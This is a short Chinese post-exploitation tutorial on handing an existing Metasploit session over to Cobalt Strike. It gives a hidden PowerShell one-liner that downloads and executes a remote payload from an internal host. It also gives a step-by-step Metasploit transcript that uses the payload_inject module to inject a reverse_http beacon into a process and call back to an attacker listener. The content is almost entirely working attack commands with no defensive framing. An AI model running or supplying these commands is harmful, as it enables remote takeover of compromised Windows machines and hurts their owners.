msf传递shell给cobalt strike

前提：拿到msf的session会话
方法1：在cmd中执行cobalt strike的scripted web delivery命令，比如

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.10.20:80/a'))"

方法2：通过msf的exploit/windows/local/payload_inject模块
1.先在cobalt strike设置监听，我设置的监听类型windows/beacon_http/reverse_http
2.在msf中使用模块

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/windows/local/payload_inject
msf exploit(windows/local/payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit(windows/local/payload_inject) > set lhost 192.168.1.11
lhost => 192.168.1.11
msf exploit(windows/local/payload_inject) > set lport 2333
lport => 2333
msf exploit(windows/local/payload_inject) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(windows/local/payload_inject) > set session 1
session => 1
msf exploit(windows/local/payload_inject) > run

3.可以看见在cobalt strike中上线了
4.如果出现错误，PID does not actually exist，可以设置一下pid，set pid 进程号（msf获取会话的进程的pid）